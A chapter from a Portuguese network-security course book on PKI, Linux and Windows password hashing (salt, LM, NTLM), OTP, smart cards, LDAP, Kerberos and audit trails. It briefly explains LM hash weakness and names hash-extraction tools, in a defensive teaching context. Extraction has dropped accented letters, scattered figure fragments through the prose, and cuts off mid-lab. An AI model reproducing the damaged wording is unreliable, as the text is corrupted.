A ICP (Infraestrutura de Chave Pblica) construda de forma hierrquica, onde a AC certificadora Raiz concede permisso para uma AC e permisso de emisso de certificados.
A figura seguinte ilustra um exemplo de hierarquia de AC utilizada no ICP-Brasil.

Comit gestor

AC PR

AC Raiz

AC Serasa

AC Certsign

AC SRF

AC Caixa

Figura 6.3
Hierarquia de AC.

O certificado de usurio gerado por sistema de Autoridade Certificadora, que emite a


chave pblica e privada do certificado. A chave pblica pode ser armazenada em um repositrio de diretrios e a chave privada fica sob a guarda do usurio.
Existem vrias implementaes de PKI (Public Key Infrastructure), ou Infraestrutura de
Chaves Pblicas, comerciais e de software livre:
11 Microsoft Windows 2008 Server Certificate Autority.
11 Microsoft Public Key Infrastructure (PKI) for Windows Server 2003.
11 Projeto de software livre OpenCA PKI.
Existe ainda um projeto educacional de infraestrutura de chaves pblicas, com o objetivo de
prover uma ICP para as universidades brasileiras. Informaes sobre esse projeto podem
ser encontradas em: http://www.rnp.br/servicos/icpedu.html

Segurana de Redes e Sistemas

A figura a seguir ilustra o processo de gerao de um certificado.

128

w
Saiba mais
Informaes sobre a
ICP-Brasil podem ser
obtidas em:
http://www.iti.gov.br

1
2
H

4
1. Certificado no assinado: contm o ID e a chave pblica do usurio.
2. Gerao do cdigo hash do certificado no assinado.
3. Cdigo hash encriptado com a chave privada da AC para formar a assinatura.
4. Certificado assinado: recipiente pode verificar a assinatura usando a chave pblica da AC.

Revogando o certificado do usurio


No momento da gerao do certificado digital, necessrio indicar o perodo de sua validade. Dessa forma, se por algum motivo um certificado necessite de ser cancelado antes da
data final de validade, esse certificado ser includo em uma base de certificados revogados. A Infraestrutura de Chaves Pblicas disponibiliza essa base para que, no processo
de validao de um certificado, esse servio de validao consulte a base, antes de permitir
ou negar determinado acesso. Manter essa base atualizada e garantir que as aplicaes a
estejam acessando mais um dos desafios do administrador de segurana da rede.

Exerccio de fixao 4 e
Certificados digitais
Explique o que so certificados digitais.

Gerenciamento de senhas
11 Sistemas de senhas Linux.
11 Sistemas de senhas Windows.
22 Hash LM Lan Manager.
22 Hash NTLM.
11 Administrando as senhas.

Captulo 6 - Autenticao, Autorizao e Certificao Digital

Figura 6.4
Processo de
gerao de
um certificado.

129

A primeira fronteira de proteo contra intrusos o sistema de senhas. Praticamente todos


os sistemas multiusurios utilizam um mecanismo de autenticao onde o usurio induzido a entrar com o identificador (ID) e uma senha secreta. A senha serve para autenticar o
ID do usurio, liberando ou no o acesso ao sistema. O ID utilizado para:
11 Determinar se o usurio est autorizado a obter acesso ao sistema (autenticao).
Em alguns sistemas especficos, apenas usurios previamente cadastrados tero permisso de acesso.
11 O ID determina o nvel de acesso concedido a um usurio especfico (autorizao). Alguns
usurios, por exemplo, podem ter acesso de administrao do sistema, enquanto outros
tero acesso apenas de operao.

Sistema de senhas Linux


11 Ao criar um usurio no sistema Linux, uma senha associada ao ID do usurio.

11 A senha manipulada pela funo crypt().


11 A conta do usurio armazenada no arquivo /etc/passwd.
11 A senha armazenada no arquivo /etc/shadow.
Garantir o uso de senhas fortes por parte do usurio uma difcil tarefa do administrador
do sistema, em qualquer ambiente operacional. Vamos analisar como funciona o sistema de
senhas em um ambiente Unix. Quando um usurio criado no sistema, uma senha associada ao seu ID. Essa senha manipulada pela funo crypt(), que pode trabalhar com criptografia baseada em DES, MD5 ou SHA, para gerao do Hash da senha e do SALT que ser
armazenado no arquivo de senhas do sistema, normalmente armazenado em /etc/shadow.
A cifragem das senhas permite um nvel adicional de proteo, visto que mesmo que um
atacante tenha acesso ao arquivo de senhas, ter de realizar um ataque de fora bruta no

Segurana de Redes e Sistemas

arquivo de senhas para tentar descobrir as senhas dos usurios do sistema.

130

Salt

Password File

Password
12 bits

User id

56 bits

salt

E (pwd, [salt, 0])

Load

crypt (3)
11 characters

(a) Loading a new password

Password File

User id
User id

salt

E (pwd, [salt, 0])

Salt

Select

Password

crypt (3)

Figura 6.5
Senhas Linux.
Fonte: Cryptography
and Network Security Principles and
Practices. Stallings,
William. Prentice
Hall, 2005.

Compare
(b) Verifying a password

O SALT gerado no momento em que a senha criada, e guardado em texto claro no


arquivo de senhas.
Objetivos do SALT:

11 Evitar que senhas duplicadas sejam visualizadas no arquivo de senhas. Mesmo que
mais de um usurio tenha escolhido a mesma senha, o valor de SALT ser diferente,
resultando em valores de Hash diferentes.
11 Aumentar o tamanho da senha, sem a necessidade de o usurio lembrar de todo o
comprimento adicional da senha, assim dificultando a tarefa de sistemas adivinhadores de senha.
11 Impedir o uso de uma implementao que utilize o DES em hardware, minimizando a
possibilidade de ataques de descoberta da senha por fora bruta.
Quando um usurio Unix vai realizar o processo de login no sistema, fornece o ID do usurio
e a senha. O sistema utiliza o ID do usurio para varrer o arquivo de usurios /etc/passwd
para encontrar o UID (nmero identificador do usurio no sistema) e em seguida consultar o

Captulo 6 - Autenticao, Autorizao e Certificao Digital

Valor do SALT

131

arquivo de senhas para encontrar o SALT do usurio e o Hash. Com essas informaes
disponveis, a funo crypt() chamada, a senha digitada pelo usurio e passada junto
com seu respectivo SALT. Se o Hash gerado pela funo for igual ao Hash do arquivo de
senhas, o acesso ao sistema concedido.
O arquivo /etc/shadow possui permisso de leitura apenas pelo administrador do sistema,
formando uma barreira adicional de proteo, visto que os usurios comuns do sistema no
possuem acesso de leitura a esse arquivo, e consequentemente no possuem acesso s
senhas cifradas dos usurios.

Exerccio de fixao 5 e
Sistema de senhas Linux
Para que utilizado o ID?

Exerccio de fixao 6 e
SALT
Quais os objetivos do SALT?

Sistema de senhas Windows


Registros de usurio Windows (NT4, 2000, XP e 2003 Server) so armazenados no banco de
dados do Security Account Manager (SAM), do gerenciador de contas de segurana ou no
banco de dados do Active Directory. Cada conta de usurio est associada a duas senhas: a
senha compatvel com o LAN Manager e a senha do Windows. Cada senha criptografada e
armazenada no banco de dados SAM ou no banco de dados do Active Directory.

Hash LM
O Hash LM (Lan Manager) no exatamente um Hash, sendo gerado como resultado de um
processo de manipulao de strings, e obtido com os seguintes passos:
1. Converte todos os caracteres minsculos da senha em maisculos.

Segurana de Redes e Sistemas

2. Preenche a senha com caracteres nulos at que ela tenha exatamente 14 caracteres.

132

3. Divide a senha em duas partes de sete caracteres.


4. Usa cada parte separadamente como uma chave DES para criptografar uma

sequncia especfica.
5. Encadeia os dois textos criptografados em uma sequncia com 128 bits e

armazena o resultado.
Como resultado do algoritmo usado para gerar o Hash LM, o Hash muito fcil de ser quebrado. Primeiro, mesmo uma senha com mais de oito caracteres pode ser atacada em duas

partes distintas. Depois, todo o conjunto de caracteres minsculos pode ser ignorado.
Isso significa que a maioria das ferramentas para quebrar senhas comea quebrando os
Hashes LM e depois simplesmente varia os caracteres alfabticos na senha quebrada para
gerar senhas que fazem distino entre maisculas e minsculas.

Hash NTLM
Soluo proprietria da Microsoft que abriu a especificao para parceiros implemen-

tarem solues integradas.Hash Unicode.


11 Hash MD4.
11 Mais resistente a ataques de fora bruta do que o Hash LM.O Hash NTLM tambm
conhecido como Hash Unicode, porque d suporte a todo o conjunto de caracteres
Unicode. O Hash NTLM calculado pegando-se a senha no formato de texto claro e
gerando um Hash Message Digest 4 (MD4) a partir dele. O Hash MD4 est realmente
armazenando no banco de dados do Active Directory ou no banco de dados do Security Accounts Manager (SAM) ou Gerenciador de Contas de Segurana. O Hash NTLM
muito mais resistente a ataques de fora bruta do que o Hash LM.

Administrando as senhas
11 Treinamento do usurio.

11 Requisitos de complexidade.
11 Tempo de durao da senha.
11 Anlise de dicionrio.
Se um usurio mal-intencionado conseguir algum tipo de acesso ao sistema, como, por
exemplo, pelo uso de uma conta de convidado ou de sistema desprotegida de senha ou com
senha padro, ele poder conseguir uma listagem dos usurios vlidos do sistema e dessa
forma tentar um ataque de dicionrio. Como a maioria dos usurios utilizam senhas com
palavras existentes em dicionrios, ser fcil conseguir quebrar essa primeira barreira de
segurana do sistema.
Use senhas longas, combinando letras maisculas e minsculas, nmeros e caracteres

Esse usurio mal-intencionado poder descobrir as senhas do sistema se conseguir enviar


a base de dados das senhas para uma mquina remota e nessa mquina remota utilizar um
programa de quebra de senhas, com um dicionrio. Dependendo da quantidade de senhas presentes no arquivo e do poder computacional disponvel para o usurio mal-intencionado, este
pode conseguir quebrar um nmero grande de senhas em um pequeno intervalo de tempo.
Para proteger as contas dos usurios do sistema, o administrador pode minimizar os efeitos
dessas ferramentas utilizando prticas recomendadas para o gerenciamento de senhas,
como veremos a seguir.

Treinamento do usurio
Reforar aos usurios a importncia de manter suas senhas protegidas de amigos e
familiares (especialmente crianas), que poderiam divulg-las a outras pessoas menos
confiveis. As senhas que voc precisa compartilhar, como a senha de uma conta conjunta
on-line, so as nicas excees. No anotar senhas em agendas, no monitor do computador,

Captulo 6 - Autenticao, Autorizao e Certificao Digital

especiais, dificultando os ataques.

embaixo do teclado etc.


133

Requisitos de complexidade
Uma boa senha deve ter um nmero mnimo de caracteres, deve utilizar caracteres de
diversos conjuntos (maisculas, minsculas, nmeros e smbolos), no deve constar em
dicionrios e deve ser fcil de lembrar. importante que o administrador seja sensvel
dificuldade dos usurios de lembrar senhas, de modo que ele no aplique regras muito
restritivas, que possam forar os usurios a anotar as senhas. A troca de senhas a cada ms
ou requisitos de complexidade muito severos so alguns exemplos de regras que podem
complicar a vida do usurio.

Exerccio de fixao 7 e
Sistema de senhas no Windows
Explique onde so armazenadas as senhas no Windows.

Sistemas de Autenticao nica


Com o uso cada vez mais intenso de sistemas informatizados para solues comerciais, novos
sistemas vo surgindo em implementaes que automatizam os processos do negcio. A implementao de um mecanismo nico de autenticao desejvel para simplificar a gerncia de
usurios e senhas dos clientes dos sistemas, assim como para simplificar e aumentar a eficincia
do gerenciamento das contas e suas respectivas senhas pelo administrador.
Nesse cenrio, importante que as solues informatizadas possam integrar uma soluo
de autenticao nica para todos os sistemas. Dessa forma, um usurio, uma vez autenticado, dever ter acesso a todos os sistemas que tiver autorizao para acessar.
Existem vrias solues de implementao de SSO, como NTLM, uma soluo proprietria
da Microsoft que abriu a especificao para parceiros implementarem solues integradas.
Outros sistemas baseado em Kerberos so Smart Card e OTP Token.

OTP
One Time Passwords (OTP) um mecanismo que utiliza senhas descartveis. Para cada
acesso gerada uma senha que logo em seguida perde o valor. Assim, se a senha de um
usurio for capturada, no servir para comprometer o sistema. Existem vrias maneiras
de gerar as senhas, como, por exemplo, o uso de calculadoras Java, que podem estar em
sistemas embarcados como um PDA ou um celular. O problema dessas implementaes o
Segurana de Redes e Sistemas

fato de o usurio ter a necessidade de estar perto da calculadora para ter acesso ao sistema.

134

S/Key
Sistema de autenticao OTP desenvolvido para sistemas operacionais Unix e
derivados.O usurio prov um segredo W.
11 Uma funo Hash aplicada n vezes em cima de W.
11 O usurio obtm n senhas correspondentes a cada passagem da funo Hash.

Sistema de autenticao OTP desenvolvido para sistemas operacionais Unix e derivados, como
o caso do Linux. A proposta do S/Key obter um conjunto de senhas em que cada uma s pode
ser utilizada uma vez. O processo de inicializao do S/Key funciona da seguinte forma:
1. O usurio prov um segredo W, a base de todo o processo, que nunca pode

ser comprometido.
2. Uma funo Hash aplicada n vezes em cima de W, concatenando com um elemento

randmico criado durante a inicializao.


3. O usurio obtm n senhas correspondentes a cada passagem da funo Hash. Dessa

assim sucessivamente, at esgotar as senhas, quando o processo dever ser reinicializado.


Considerando que a partir de n invivel deduzir n-1 (envolve reverter uma funo Hash),
caso n seja comprometida, ela j no mais poder ser usada, pois cada senha s usada
uma vez. Para facilitar a digitao por parte do usurio, os bytes de cada Hash so convertidos para palavras, utilizando uma tabela de converso padronizada.

Smart Card
O Smart Card, ou Carto Inteligente, um carto de plstico, semelhante a um carto de
crdito, com um microchip embutido na superfcie. O conceito de Smart Card foi patenteado
pelo Dr. Kunitaka Arimura no Japo, em 1970.
Embora existam muitos tipos, qualquer Smart Card pode ser classificado quanto forma

de conexo com a leitora:


11 Por contato fsico: entende-se a insero do carto na leitora, onde os contatos
dos terminais do carto com os da leitura permitem a troca de dados entre ambos.
importante salientar que a maioria dos Smart Cards possuem terminais para esse
tipo de conexo.
11 Sem contato fsico: se refere aos cartes que no necessitam de contato fsico com
a leitora, o que indica que a conexo feita atravs de ondas eletromagnticas. A
ausncia do ato de insero traz benefcios, como economia de tempo e preservao
dos terminais do carto. Um exemplo interessante deste tipo de carto so os passaportes eletrnicos.
Por serem muito mais baratos, os cartes por contato ainda so os mais utilizados, oferecendo um nvel razovel de segurana e abrangendo uma ampla gama de aplicaes. Os
cartes por contato so tambm chamados de Cartes de Memria (Memory Cards). Os
Smart Cards que no fazem uso de contato fsico so tipicamente Cartes Microprocessados. Embora no seja do escopo dos cartes de identificao, a modalidade de transmisso sem contato permite que o carto propriamente dito seja apenas um portador do
chip, ou seja, a presena do chip em anis, relgios, braceletes e tornozeleiras ainda no
quebra o conceito de Smart Card.
Os cartes inteligentes por contato fsico podem ser utilizados com leitores conectados
em um computador pessoal, a fim de autenticar um usurio. Softwares de navegao na
internet tambm podem utilizar a tecnologia do Smart Card para complementar SSL (Secure
Sockets Layer), utilizado para melhorar a segurana em transaes na internet. Como o
carto inteligente possui arquitetura de hardware e software, ele interage com o sistema,
permitindo ou negando acesso quando necessrio. Ele pode ser programado, por exemplo,

Captulo 6 - Autenticao, Autorizao e Certificao Digital

A lista de palavras
e o funcionamento
do S/Key constam na
RFC 1760.

forma, o usurio utiliza a senha n para a primeira autenticao, a senha n-1 para a segunda e

135

para que aps cinco tentativas de autenticao sem sucesso, o contedo da memria seja
destrudo, inutilizando-o.
Hoje em dia muito comum Smart Cards nos nossos cartes de crdito, em chips de
celulares GSM ou em cartes emitidos pelo governo, como o e-CPF e o e-CNPJ, alm do
recm-anunciado Registro de Identificao Civil (RIC). Nesses casos, o carto contm um
certificado digital padro ICP-Brasil. Os certificados digitais sero vistos em mais detalhes
na sesso 7. Em alguns desses cartes, existe um sistema complexo de proteo do material
criptogrfico contido dentro do carto, que se apaga caso o carto seja aberto ou haja
erro na senha de acesso em um determinado nmero de vezes. Normalmente, as chaves
privadas nunca saem de dentro do carto, que possui um chip capaz de realizar operaes
criptogrficas dentro do prprio carto.

Servidores de diretrio: LDAP


Banco de dados com informaes descritivas, baseado em atributos e organizado em

forma hierrquica (rvore) e no relacional (tabelas), otimizado para leitura e com certificao digital e baseado em entradas.
Uma entrada um conjunto de atributos referenciado por Nome Distinto (DN) de forma
no ambgua. Cada atributo de entrada tem um tipo de valor, como por exemplo CN e ON.
LDAP um protocolo (TCP/IP) cliente-servidor, utilizado para acessar um servio de diretrio. Foi inicialmente usado como uma interface para o X.500, mas tambm pode ser usado

X.500

com autonomia e com outros tipos de servidores de diretrio. Atualmente tornou-se padro

Srie de recomendaes do ITU-T que


definem o servio de
diretrio.

e diversos programas j tm suporte a LDAP. Livros de endereos, autenticao, armazenamento de certificados digitais (S/MIME) e de chaves pblicas (PGP) so alguns dos exemplos
de onde o LDAP j amplamente utilizado.

Servio de diretrio
Um diretrio como um banco de dados, que tende a conter informaes descritivas,
baseadas em atributo, sendo organizado em forma hierrquica (rvore) e no relacional
(tabelas). A informao em um diretrio geralmente mais lida do que escrita, de modo que
normalmente os diretrios so otimizados para leitura. Como consequncia, diretrios normalmente no so usados para programar transaes complexas ou esquemas de consultas
regulares em bancos de dados.
Diretrios so preparados para dar resposta rpida a um grande volume de consultas ou
operaes de busca. Eles tambm podem ter a habilidade de replicar informaes extensamente; isso usado para acrescentar disponibilidade e confiabilidade, enquanto reduzem o
tempo de resposta.

Segurana de Redes e Sistemas

As recomendaes do ITU-T X.509 so parte da srie de recomendaes X.500, que define

136

servios de diretrio. A ITU-T define que o diretrio um servidor ou um conjunto de servi-

ITU-T

dores distribudos que mantm a base de informaes de usurios. Nessa base de informa-

Setor de normatizao
de telecomunicaes,
responsvel por
coordenar padronizaes relacionadas a
telecomunicaes da
Unio Internacional de
Telecomunicaes.

es esto contidos endereos de rede e outros atributos e informaes de usurios.

Exerccio de fixao 8 e
LDAP
Explique o que o LDAP.

Exerccio de fixao 9 e
Servio de diretrios
O que um servio de diretrio?

Tipos de informao
O modelo de servio do diretrio LDAP baseado em entradas. Uma entrada um conjunto
de atributos e referenciada atravs de um nome distinto (DN). O DN usado para referenciar uma entrada de forma no ambgua. Cada um dos atributos de entrada tem um tipo e
um ou mais valores. Esses tipos geralmente so palavras mnemnicas, como CN para nome
comum, ou mail para endereo de correio eletrnico; existem RFCs que determinam essas
palavras, com os valores dependendo do tipo de atributo. Por exemplo, um atributo mail
pode conter o valor <usuario@dominio.com.br>. Um atributo fotoJpeg conter uma fotografia.

Protocolo Kerberos

Saiba mais
Na mitologia Grega,
Kerberos era um
cachorro que possua
trs cabeas e era
responsvel por vigiar
os portes de Hades,
tendo como sua
principal misso evitar
a entrada e sada de
pessoas ou de coisas
indesejveis.

of Technology), como parte de um projeto de segurana que visava produzir um ambiente


de TI seguro e amplamente distribudo pelo campus da universidade.
Fazendo uso de criptografia de chave privada, prov autenticao em redes abertas
mediante uso de algoritmo de autenticao de trs vias (TTP Trusted Third Party), proposto por Needham e Schroeder. Todos os equipamentos envolvidos devem confiar
mutualmente no sistema de autenticao central provido pelo Kerberos. Esse conceito
semelhante a um cartrio no mundo real, ou seja, a sociedade confiar na assinatura de um
tabelio para afirmar que os envolvidos realmente se identificaram (autenticaram) durante a
assinatura de um determinado contrato.
Como o nome sugere, o Kerberos funciona, basicamente, como trs componentes principais,
um para cada funo especfica:
11 Ticket: tipo de certificado/token que informa com segurana, para todos os equipamentos conectados ao sistema de autenticao, a identidade do usurio para quem o
ticket foi concedido.
11 Autenticador: uma credencial gerada pelo cliente com informaes que so comparadas
com as informaes do ticket, para garantir que o cliente que est apresentando o ticket
o mesmo para o qual o ticket foi concedido.

Captulo 6 - Autenticao, Autorizao e Certificao Digital

Protocolo de autenticao de rede desenvolvido em 1983 pelo MIT (Massachusetts Institute

137

11 Centro de distribuio de chaves: para acessar uma aplicao, o usurio obtm temporariamente tickets vlidos atravs do centro de distribuio de chaves que ratificam
os tickets com o autenticador. A aplicao examina o ticket e o autenticador quanto
validade e concede acesso caso sejam vlidos.
Explicando de uma forma mais simplificada, imagine um sistema de vendas de ingressos
para um filme de cinema com classificao para maiores de 18 anos. Para comprar o
ingresso, voc deve ir ento bilheteria (centro de distribuio) para realizar o pagamento e
provar que voc possui mais de 18 anos. Ao realizar essas atividades com sucesso, a bilheteria vai lhe fornecer um ingresso (ticket) que voc apresentar ao bilheteiro (autenticador),
assim que tentar entrar na sala do filme. O bilheteiro vai verificar se o ticket verdadeiro
antes de lhe permitir entrar na sala de cinema.
Para o processo de autenticao so utilizados trs servidores:
11 Servidor de Autenticao (Authentication Server AS): responsvel por receber um
pedido de autenticao de um usurio e verificar se a identidade desse usurio autntica. Sendo vlida essa identidade, o AS fornece um ticket e uma chave de sesso, que vai
permitir o contato com outro servidor, o TGS.
11 Servidor de Concesso de Tickets (Ticket Granting Server TGS): responsvel por
fornecer tickets para servios especficos requeridos pelo usurio. O contato com o TGS
feito aps a autenticao pelo AS. O usurio tem seu ticket avaliado e, uma vez validado
pelo TGS, recebe um novo ticket, agora para obter algum servio disponvel.
11 Servidor de Administrao (KADM): servidor responsvel por controlar as chaves secretas
(informaes criptografadas). Antes de realizar o processo de autenticao, preciso que o
usurio cadastre seus dados atravs do KADM, para que possua um login e uma senha.

Key Distribution Center (KDC)

Ba

nco de Dados

Authentication Server
(AS)

_R

AS
_R
EP

RE
S_

EP

R
S_

AS

TG
TG

EQ

Ticket Granting Server


(TGS)

AP_REP

Segurana de Redes e Sistemas

AP_REQ

138

Servidor de
aplicao

Cliente

Resumidamente, os seguintes passos so executados quando um usurio tentar acessar um


determinado servio em um Application Server.
1. O usurio realiza uma autenticao em sua estao (utilizando usurio e senha, por exemplo).
2. O Cliente Kerberos ento executa uma funo hash sobre a senha digitada e isso se torna

a Chave Secreta do Cliente/Usurio (aqui chamada de K1).

Figura 6.6
Processo de autenticao
do Kerberos.
Fonte: http://www.
gta.ufrj.br.

3. O Cliente Kerberos envia uma mensagem em texto claro para o Authentication Server

(AS) contendo o Identificador do Usurio (nessa fase, no enviada a chave K1 e/ou a


senha do usurio para o AS).

4. O AS gera a chave secreta (K1) utilizando a mesma funo hash utilizada pelo usurio a

partir da senha do usurio encontrada no servidor de banco de dados (por exemplo, o


Active Directory no Windows Server).
5. O AS envia de volta ao cliente duas mensagens:

11 Mensagem A contendo a Chave de Sesso do TGS (K2) cifrada utilizando a chave K1


gerada no passo anterior.
11 Mensagem B contendo o TGT (Ticket-Granting-Ticket), que inclui a identificao do cliente,
endereo de rede do cliente, prazo de validade do ticket e a Chave de Sesso do cliente
TGS (K2). Todo o contedo do ticket TGT criptografado usando a Chave Secreta TGS,
gerada pelo Servidor TGS e enviada de forma cifrada na Mensagem A.

6. O cliente recebe mensagens A e B e tenta decifr-las utilizando a chave K1 e, aps, tenta recu-

perar a Chave TGS da Sesso (k2), que est cifrada na mensagem A. Caso no consiga, fica
claro que o usurio no possui a chave secreta (k1) e, portanto, no deve ser autenticado.

Saiba mais

Kerberos no Windows
A implementao Kerberos do Windows foi implementada a partir do Windows 2000 Server,
onde passou a ser padro no Active Directory, o servio de diretrios da Microsoft. O Active

Mais informaes
sobre o Kerberos
podem ser encontradas na RFC 4120.

Directory consiste em um diretrio X.500 (LDAP), combinado com autenticao Kerberos.


No Active Directory, o Kerberos substitui a autenticao NTLM, facilitando o uso de single
sign-on (SSO) e tornando a soluo mais segura. Apesar de o Kerberos ser um protocolo
mais robusto, as senhas ainda so armazenadas em formato de Hash no diretrio e podem
ser obtidas atravs de utilitrios encontrados na internet, como o Cain & Abel, Pwdump e
Ophcrack. A figura a seguir mostra o funcionamento geral do Kerberos.

Key Distribution Center (KDC)

2. Here is a TGT-If you can decrypt this


response with your password hash

User logs in to gain


network access

Authentication
Service
(AS)

Ticket Granting
Service
(TGS)

3. Here is my TGT, give me a Service Ticket

4. Here is your Service Ticket


5. Here is my Service Ticket Authenticate me
Figura 6.7
Kerberos
(Fonte: Cisco).

6. Cliente/Server session

Network
services

Captulo 6 - Autenticao, Autorizao e Certificao Digital

1. I am user Sam and need a Ticket to Get Ticket

139

Acesso a servios em uma rede


Sempre que um usurio tentar acessar um servio na rede, o cliente Kerberos enviar para o
TGS o TGT que foi gerado pelo servio de autenticao (KDS). O TGS vai gerar um ticket para
o servio em particular que ser utilizado pelo cliente. Esse funcionamento detalhado nos
passos abaixo, que explicam o funcionamento do protocolo nessa situao:
1. Ao tentar acessar um servio em um servidor, o cliente Kerberos envia duas mensagens

ao TGS.

11 Mensagem C: composta pelo TGT informado na Mensagem B do item anterior e o identificador do servio que est sendo requisitado.

11 Mensagem D: autenticador, composto pelo identificador do cliente e de um perodo de


validade cifrado com a Chave de Sesso TGS do cliente (K2).

2. De posse das mensagens C e D, o servidor TGS tentar recuperar o TGT da Mensagem B

a partir da mensagem C. Ele vai decifrar a mensagem B utilizando a Chave de Sesso TGS
(K2) que ele gerou nos passos anteriores. Isso vai produzir uma Chave de Sesso TGS (k2),
que foi informada pelo cliente a qual ele vai comparar com sua Chave de Sesso TG (K2)
que ele possui associada ao cliente. Aps isso, ele decifrar a mensagem D e, se tudo tiver
acontecido de forma correta, ele enviar ao cliente:
11 Mensagem E: Ticket Client-to-Server, que inclui o Identificador do Cliente, o endereo de
rede do cliente, um perodo de validade para a Session Key entre o cliente e o servidor

(K3), tudo cifrado, utilizando a chave secreta gerada para o servio (k2).

11 Mensagem F: Chave Secreta entre cliente e servidor (k3) cifrada utilizando a chave TGS
gerada para o cliente.

3. De posse das mensagens E e F geradas pelo TGS, o cliente encaminha essas informa-

es para o servidor responsvel pelo servio em que o usurio est tentando acesso,
enviando as mensagens:

11 Mensagem E: gerada no passo anterior, contendo o Ticket Client-to-Server cifrado utilizando a chave Secreta do Servio (K3).
11 Mensagem G: uma nova mensagem de autenticao, incluindo o identificador do cliente e
um perodo de validade. Todas essas informaes cifradas, utilizando a chave de sesso K3.
4. O servidor do servio decifra o ticket utilizando sua prpria chave secreta e recupera a

Chave de Sesso Cliente/Servidor (K3). Usando a chave de sesso K3, ele decifra a mensagem G e confirma a veracidade do processo de autenticao. Se tudo tiver acontecido
corretamente, o servidor do servio envia uma mensagem para o cliente, confirmando sua
identidade e o perodo de validade informado pelo cliente na mensagem G, acrescido de 1.

Segurana de Redes e Sistemas

5. O cliente, ao receber essa mensagem do servidor, verifica a autenticidade da mensagem

140

decifrando-a com a Chave de Sesso Cliente/Servidor (K3) e, tambm, se a hora est


atualizada corretamente. Aps isso, iniciado ento o acesso ao servio solicitado.

Benefcios do Kerberos
Dentre os principais benefcios de se utilizar o Kerberos em redes de computadores,
podemos destacar:
11 Padres baseados em autenticao robusta.
11 Amplo suporte ao sistema operacional.

11 Prov capacidade de Single Sign-On (SSO).


11 Senhas nunca percorrem a rede.
11 Senhas de difcil previso.
11 Tickets de autenticao roubados no podem ser reutilizados.

Organizao do Kerberos
O Kerberos oferece um mecanismo para autenticao mtua entre partes, antes de se
estabelecer efetivamente uma comunicao segura. O Kerberos usa o que conhecido
como KDC (Key Distribution Center), para facilitar a distribuio segura de permisses e de
chaves simtricas dentro de uma rede. O KDC executado como um servio em um servidor
e mantm uma base de dados para todas as entidades de segurana dentro do chamado
Domnio Kerberos.
O Kerberos divide a rede nos chamados reinos (realms). Cada reino possui seu servidor de
autenticao e uma poltica de segurana prpria, permitindo diferentes nveis de segurana por reino. Essa diviso de reinos pode ser hierarquizada, fazendo com que cada rea
da organizao possua um reino local vinculado a um reino central.

Administrativo Empresa 1

Internet

Financeiro Empresa 1

Por exemplo, para que o domnio Administrativo Empresa1 consiga acessar servios de
Financeiro Empresa1 em um meio inseguro como a internet, basta que os servidores
Kerberos troquem chaves de segurana e se autentiquem mutuamente. Assim o usurio
autenticado em Administrativo Empresa1 no necessita de outra autenticao para acessar
servios em Financeiro Empresa1. Em uma rede Windows, o Kerberos funciona no
controlador de domnio e utiliza o Active directory para autenticar, efetivamente, todas as
entidades constantes nesse diretrio.
Para mais informaes sobre o funcionamento do protocolo Kerberos, consulte:
11 Related Requests For CommentsRFC 4120 The Kerberos Network Authentication Service (V5).
11 RFC 4537 Kerberos Cryptosystem Negotiation Extension.
11 RFC 4752 The Kerberos V5 (GSSAPI) Simple Authentication and Security Layer
(SASL) Mechanism.
11 RFC 6111 Additional Kerberos Naming Constraints.
11 RFC 6112 Anonymity Support for Kerberos.
11 RFC 6113 A Generalized Framework for Kerberos Pre-Authentication.
11 RFC 6251 Using Kerberos Version 5 over the Transport Layer Security (TLS) Protocol.

Exerccio de fixao 10 e
Kerberos
O que Kerberos e como utilizado?

Captulo 6 - Autenticao, Autorizao e Certificao Digital

Figura 6.8
Exemplo de autenticao mtua para
acesso de servios.

141

Certificao digital
A recomendao X.509 define um framework para provimento de servios de autenticao
de usurio do diretrio X.500. O diretrio tambm pode servir como um repositrio de
certificados pblicos de usurios do repositrio. O X.509 define tambm alternativas de
protocolos de autenticao com base no uso de certificados digitais. A recomendao X.509
baseada no uso de algoritmos criptogrficos de chave pblica e assinatura digital. Ela no

Assinatura digital

explicita o uso de um algoritmo especificamente, mas recomenda o uso do RSA.

Mtodo de autenticao
dos algoritmos de
criptografia de chave
pblica operando
em conjunto com uma
funo Hash, tambm
conhecida como funo
resumo.

Autoridades certificadoras
Existem vrias implementaes de Infraestrutura de Chave Pblica (PKI) comerciais e
de software livre:
11 Microsoft Windows 2008 Server CertificateAutority.
11 Microsoft Public Key Infrastructure (PKI) for Windows Server 2003.
11 Projeto de software livre OpenCA PKI PublicKeyInfrastructure.

Trilhas de auditoria
A anlise dos eventos uma atividade vital para identificar o que ou quem causou algo no
sistema. O processo de auditoria pode ser dividido em fases definidas na elaborao da
poltica de segurana. A auditoria em segurana da informao tem o papel de assegurar a
qualidade da informao e participar do processo de garantia quanto a possveis e indesejveis problemas de falha humana.
Trilha de auditoria termo genrico para registro de uma sequncia de atividades em um
sistema ou conjunto deles. A ideia bsica da anlise de trilhas de auditoria , em primeiro
lugar, registrar e armazenar as atividades do sistema em uma sequncia selecionada por
projetistas ou administradores com base nas polticas previamente definidas.
Uma auditoria indispensvel para o monitoramento relacionado segurana de qualquer
aplicativo baseado em servidor, de servidores de e-mail a bancos de dados e servidores web.
Nos ambientes atuais que valorizam a segurana, uma trilha de auditoria confivel uma
ferramenta valiosa e normalmente um requisito legal para determinadas indstrias. Por
exemplo, normas norte-americanas como a Sarbanes-Oxley e a HIPAA (Health Insurance
Portability Accountability Act) requerem trilhas de auditoria para determinados sistemas,
aplicativos e dados.

Gerao dos dados


Os sistemas operacionais Windows Server 2003 e 2008 fornecem recursos que permitem
Segurana de Redes e Sistemas

que um grande nmero de aplicativos use a funcionalidade de auditoria. Podem ser regis-

142

trados eventos das atividades realizadas pelo e no sistema. Um exemplo a configurao


das diretivas de segurana local do Windows, ferramenta que permite configurar o registro
de eventos, como o acesso a objetos locais, conforme as figuras seguintes.

Falta a navegao para acesso funcionalidade. Acesse Local Security Policy em Local
Policies>Audit Policy>Audit object acess. Configure como Failure.

Figura 6.10
Configurando as
propriedades de
Audit object access.

Uma vez configurada a diretiva, os registros sero gravados localmente no prprio sistema,
podendo ser visualizados com o Event Viewer, outra ferramenta Windows.

Captulo 6 - Autenticao, Autorizao e Certificao Digital

Figura 6.9
Acesso s
funcionalidades
de Audit Policy.

143

Segurana de Redes e Sistemas

Figura 6.11
Visualizador
de eventos
(Audit Failure).

144

Roteiro de Atividades 6
Atividade 1 Utilizao do sistema OTP S/Key
Nesta atividade, vamos configurar o uso de um sistema de autenticao OTP utilizando o

Passo 1

Como processo inicial, vamos instalar o OpenSSH-Server no host LinServer


e no FWGW1, para fazermos acesso a ele via SSH. Para instalar o servidor
